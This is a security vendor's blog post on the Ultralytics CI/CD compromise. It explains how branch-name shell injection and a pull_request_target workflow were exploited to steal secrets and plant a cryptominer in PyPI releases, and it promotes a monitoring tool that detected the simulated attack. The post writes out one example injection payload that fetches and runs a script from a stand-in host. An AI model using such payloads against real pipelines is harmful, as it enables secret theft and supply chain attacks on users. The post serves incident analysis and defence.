Introduction
Ultralytics, known for its powerful YOLO models widely used in industries like healthcare, transportation, and agriculture, recently faced a significant compromise in its repository through CI/CD vulnerabilities. This blog post explores how GitHub Actions were exploited to inject a cryptominer, steal sensitive secrets, and poison build caches. We focus on the CI/CD attack vector and demonstrate how StepSecurity Harden-Runner could have detected and mitigated the incident. Similar to our analysis of the backdoored xz-utils build process, we simulate the attack and analyze its impact using Harden-Runner, which has proven effective in detecting real-world incidents, such as those involving GoogleFlank and Microsoft Azure Karpenter Provider.
Before diving into the details, I want to thank the Ultralytics community for their quick response and collaboration in addressing this issue.
Incident Overview
The attack unfolded through a series of malicious pull requests (PRs), targeting vulnerabilities reintroduced in commit ultralytics/actions@c1365ce. Here's a timeline of key events:
- Commit Regression (August 24, 2024): A vulnerability previously patched was accidentally reintroduced:
- Malicious PRs Created (December 4, 2024): The adversary submitted pull requests with payloads exploiting the vulnerabilities.18018, 18020
- Secrets Stolen and Cache Poisoned (December 4-5, 2024): By executing malicious code in a privileged context, CI/CD secrets like secrets._GITHUB_TOKEN were exfiltrated, and the build cache was poisoned to inject a cryptominer in releases v8.3.41 and v8.3.42.
What was the GitHub Actions Vulnerability?
1. Shell Injection Vulnerability in ultralytics/actions
The vulnerable workflow used a custom GitHub Action owned by Ultralytics named ultralytics/actions, which was vulnerable to shell injection. The vulnerability in ultralytics/actions lies in the use of untrusted user inputs, such as branch names or PR titles, directly in shell commands without proper sanitization (see the relevant code snippet here). For example, the run block dynamically constructs a shell command using variables like github.head_ref or github.ref, which can be manipulated by an attacker:
If the attacker creates a branch name with a malicious payload, such as $(curl -s http://malicious.com/script.sh | bash), the shell would execute it in the privileged context of the workflow, enabling arbitrary code execution.
The impact of this vulnerability is severe:
- An attacker can execute arbitrary commands within the CI/CD environment, gaining access to sensitive secrets like _GITHUB_TOKEN.
- This can result in exfiltration of credentials, poisoning build caches, injecting cryptominers, or manipulating the repository history.
To learn more about this type of vulnerability, check out script injection in CI/CD pipelines.
2. Pwn Request Vulnerability in ultralytics/ultralytics
Another vulnerability arises in the format.yml workflow file, where the pull_request_target event is used. This workflow runs in the context of the base repository when a pull request is created (see the relevant workflow configuration here).
When combined with write permissions or access to secrets, this creates a dangerous attack vector.
For example, an attacker can craft a malicious PR with code designed to exploit the base repository’s workflows, gaining access to sensitive secrets or executing privileged operations. This creates a direct path for:
- Exfiltration of CI/CD secrets like _GITHUB_TOKEN.
- Execution of arbitrary code in the privileged context of the base repository.
- Tampering with artifacts, poisoning build caches, and injecting malicious payloads.
To dive deeper into this vulnerability, refer to pwn request vulnerabilities.
How the Adversary Compromised CI/CD
The attacker leveraged these vulnerabilities by crafting malicious pull requests. The pull requests exploited the unsanitized inputs in action.yml and the dangerous use of pull_request_target in format.yml.
Crafting the Exploit
The attacker created a malicious branch with a specially crafted malicious name:
When the workflow was triggered, this branch name caused the following payload to execute in the CI/CD environment:
Executing the Attack
- Exfiltration of Secrets:
- The payload leveraged the CI/CD environment to steal secrets such as _GITHUB_TOKEN and secrets required to manage GitHub Actions build cache.
- Cache Poisoning and Artifact Tampering:
- The attacker poisoned the build cache, injecting cryptominers into PyPI releases v8.3.41 and v8.3.42.
- Artifacts downloaded by users were tampered with, resulting in the execution of malicious cryptomining code on their systems.
Covering Tracks
The malicious scripts referenced in the payload were deleted by the adversary, along with GitHub workflow logs, to erase traces of their activities. However, based on historical patterns and analysis, the payload likely matched the one shown above.
Impact
- Compromised tokens were exfiltrated, giving the attacker access to the repository and workflows.
- Artifacts released to PyPI were maliciously altered to include cryptomining code.
- End users unknowingly installed compromised versions of the package, running the cryptominer on their systems.
By exploiting these vulnerabilities, the attacker carried out a highly impactful supply chain attack, underscoring the need for input sanitization, proper permissions, and secure CI/CD workflows. Because of the complexity, the adversary successfully compromised several Ultralytics PyPI releases, even after the attack was discovered. It took the Ultralytics team and community a while to mitigate the incident.
Harden-Runner Overview
StepSecurity Harden-Runner is a robust security tool that protects CI/CD pipelines from vulnerabilities and supply chain attacks. It provides network egress control and CI/CD infrastructure security for GitHub-hosted and self-hosted runner environments. It is trusted by over 4,800 open-source projects and several enterprise customers for securing their CI/CD runtime environments.
Key Features
- Network Monitoring and Anomaly Detection:
Harden-Runner establishes a baseline of normal network behavior during CI/CD workflows. It flags deviations as anomalies, detecting malicious activities like exfiltration of secrets or unauthorized payload downloads.
- Block Policy for Unknown Destinations:
It enforces a block policy to prevent outbound connections to unapproved endpoints, protecting against cache poisoning, artifact tampering, and data exfiltration.
Simulate the Incident with Harden-Runner
In this section, we simulate the Ultralytics GitHub Actions attack using Harden-Runner to demonstrate how it could have detected and mitigated the vulnerabilities in the workflows.
Setup
To simulate the GitHub Actions attack that was used to poison the GitHub Actions Cache in the incident, we created a clone of the Ultralytics repository:
In this repository, there are three relevant GitHub Actions workflows:
This is the original vulnerable workflow file from the Ultralytics repository.
format-harden-runner-audit.yml
This workflow is the same as format.yml with StepSecurity Harden-Runner in audit mode.
Example configuration:
format-harden-runner-block.yml
This workflow is the same as format.yml with StepSecurity Harden-Runner in block mode. The block policy was generated based on the past runs of the workflow.
Example configuration:
Exploit Payload
As the actual GitHub Actions attack payload is unavailable, we will use the payload discovered by Andy Lindeman based on the search for similar branch names in the repository. This payload does seem to be from the threat actor, as the author email address in git log uses the domain that was used by the crypto miner. This payload has been uploaded to the following gist location with a webhook site address that we control:
Attack Simulation
To simulate the attack, we have forked step-security/ultralytics-clone at ashishkurmi/ultralytics-clone. In the fork, we have created a branch with a malicious name (given below) that exploits the script injection vulnerability.
To trigger the attack, we created a pull request with a dummy change from this branch.
Let’s see what happened when the exploit ran on each of the three workflow files described above:
format.yml
The exploit worked as intended. Exploiting the script injection and Pwn Request vulnerabilities described above led to the execution of attacker-controlled code in a privileged context, which exfiltrated CI/CD secrets. These secrets can be used for poisoning build cache to inject cryptominers / backdoor, making unauthorized code changes, etc.
You can see the exfiltrated GITHUB_ACTIONS token below:
You can see the exfiltrated secrets to perform build-cache poisoning below:
Similarly, the script above can be used to exfiltrate CI/CD secrets used in the vulnerable workflow such as _GITHUB_TOKEN and OPENAI_API_KEY. If _GITHUB_TOKEN is a PAT associated with a privileged GitHub user, it could be used to steal all GitHub Actions secrets.
format-harden-runner-audit.yml
As Harden-Runner had monitored previous workflow runs, it had created a baseline of expected outbound network destinations. When the vulnerable GitHub Actions workflow ran with the exploit, it flagged new network endpoints as malicious. You can see the Harden-Runner insights for the run below with the malicious calls highlighted as Anomalous:
StepSecurity Enterprise customers get real-time notifications for such detections.
As Harden-Runner was not configured to block calls to unknown destinations, it did allow the malicious calls to go through.
This detection is similar to how Harden-Runner detected real-world supply chain attacks in Google Flank and Microsoft Azure Karpenter Provider open-source projects.
format-harden-runner-block.yml
Harden-Runner was configured to block outbound network connections to unknown destinations, you can see the insights for the workflow run below:
Harden-Runner blocked the very first network connection to gist.githubusercontent.com to retrieve the exploit payload, preventing the exploitation all together.
Just like the audit case, StepSecurity enterprise customers receive real-time alerts anytime an outbound connection is blocked.
Summary
Because of the highly domain specific knowledge required to build secure CI/CD pipelines, it’s challenging for software developers to build complex CI/CD pipelines without introducing vulnerabilities. In addition, vulnerable CI/CD pipelines in open-source projects are often easily exploitable. Enterprises and open-source communities must use solutions for network egress visibility and runtime monitoring for CI/CD pipeline runs. Harden-Runner is an easy-to-use platform for implementing these runtime security controls for CI/CD.